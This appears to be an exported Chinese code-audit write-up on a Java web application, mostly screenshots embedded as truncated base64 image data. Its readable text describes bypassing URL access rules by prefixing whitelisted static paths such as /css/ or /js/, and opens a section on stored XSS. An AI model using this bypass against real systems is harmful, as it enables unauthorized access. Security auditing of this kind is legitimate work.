src="data:image/png;base64,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 truncated
|
||||
这个类用于构建一个定义权限规则的 Map 结构。该 Map 将 URL 路径映射到对应的过滤器链,用来控制对这些 URL 的访问权限。<br>
|
||||
这里在请求的时候,在路径上添加这些前缀即可 <code>/css/,/js/,/fonts/,/media/,/pagecomponent/,/account/checkCode/</code><a id=img10 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026399870-f5d2c426-caee-4be3-b0ff-3415293cf868.png#averageHue=%23e8ebef&clientId=u5f11db5c-dd70-4&from=paste&height=244&id=u553c3fa4&originHeight=366&originWidth=1017&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=174887&status=done&style=none&taskId=uabd38efc-549a-424c-900c-8bec0f2d93c&title=&width=678"><img src="data:image/png;base64,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 truncated
|
||||
<h1 id=toc-4>存储型XSS</h1>
|
||||
<p><a id=img11 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456441536-2800fc6a-bf28-4d8f-8b5b-3c3716fb8af4.png#averageHue=%23eceff4&clientId=u8a921088-4e04-4&from=paste&height=403&id=u6350ed78&originHeight=604&originWidth=1407&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=110980&status=done&style=none&taskId=u84731eeb-d40f-4629-883f-6d72c9ccedd&title=&width=938"><img src="data:image/png;base64,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 truncated
|
||||
查看接口处进行debug<br>
|
||||
<a id=img12 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456502126-2636044f-a5e5-4f95-9411-500c6efcfda4.png#averageHue=%23282c33&clientId=u8a921088-4e04-4&from=paste&height=587&id=u60fc93b7&originHeight=880&originWidth=1776&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=177284&status=done&style=none&taskId=uf73451eb-428b-49e4-9a1e-6e5a647b14d&title=&width=1184"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABvAAAANwCAYAAAD5uC2UAAAgAElEQVR4nOydd3hcV5m43zu93BmNqtW7JVmWLNe4xbGTOE7iFJKQxEBogdAhwALL/tiFsLDswi4Blt5h6QRISEgcJ3aKaxx3x7Ykq9jqvU+v5/fHqMyo2Bo1O8l9n8fP4xmde+bc73znO+U75zvSlsVLBQoKCgrzhGSMm/pvetNlnw8NtM9lcRQUFBQUFBQUFBQUFBQUFBTe8HhTkgHQd3Vf4ZIoKCgoKMwU1ZUugIKCgsKlUNnSrnQRFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYUxYGnoKBw1aOypSmOPAUFBQUFBQUFBQUFBQUFBQUFBQUFhTcNmitdAAUFBYVpo9bGll6Sxv4f8M1tWRQUFBQUFBQUFBQUFBQUFBQUFBQUFBTmCeUEnoKCwpsDjS78T0FBQUFBQUFBQUFBQUFBQUFBQUFBQeEqRzmBp6Cg8ObiEk48lTFu0u9D9jfnhc/CkErRdZsoM57nyb+fJhR5olFBQUFB4apDCDWL73ofue4jHN93in6PYrcVFBQUFBSuBELoSFi2juK8FOLiHJz/67M0uJV+WUFBYW4QxlQS85JQR35nb6W7qQ9JWbtRUHhDoTjwrkJEXAXb3n872aKGvb94jLohxfDOBYpcFWaKypI86fch12D0F8E3RphOIdQkrLmPu99xHelmNaKyg6eudKEUFBQUFKaBhDl3FetKV3PNzRc59odfsPtYF0KZxCsoKLyJUeaBry/eCPUlNDmsf/ijXF8Uh1qSEOICA08/S4P7SpdMQUHhjYJkSyMxKzXKWRdo6qBninG/EBK6rHIWZcsEWs7S3jioOPoUFOaI+W5figPvKsSwfAtri7OBbFaveJq6vcooby5Q5Kow76gjTve9Tp15QqhI2PIR3vO2Msy+dk7/7W8c2H+OoDKwU1BQULjqkaQAp3/6CI5Nt3Hjbdew5qHPYjN9k8f2dUXfC6ugoKDwJkKZB76+eCPUl3HDnVxfFIev5h/89Tcv0tTtUjbTKCgozClaWQYEQ6eeo6MjdPkH1ItIXJKBSS0h0pLoahxkGk8pKChMh3luXzN24OU88A3eea0VITk4+d1/5tlKEf5D2bv5p4+tRSfUuA5+h+/+vnquyjrnCGFk0bW3s2XzcrJS49CE3Ay1VHNmz5McOtk9abg4IUrY/uinWMlBfveZ39A4D4MwT81r1PXnk0UdNTUu4I050BNCx6KNd7H5+gqy02zo8GBvv0j1S0/y8sEmAhGyFRl38uEvbsd24hd846dHZ/R7V4NcF0J/Fhr9jgNYl7bT818PXemiXF2ox4XqfJ049KSMm7n7/jLMnnr2fPvbvNoUmDSdECqSVqWydo2NzDQ9Jh347V7az/dy7MUumgbEWNrkNN7zmQySI/Q9FAzgGXTTcqaLg7t76fO//tvCbBFC5qYvlbCMbh77SgMtU+2cGydPIQRBj5ehPjcXD7dx+KgTj5gfeRa9cxW3l3k4/J2zHOpYuDoTQk3CqtvYsnUNOZkJGNUBXL1NXDj8HC/t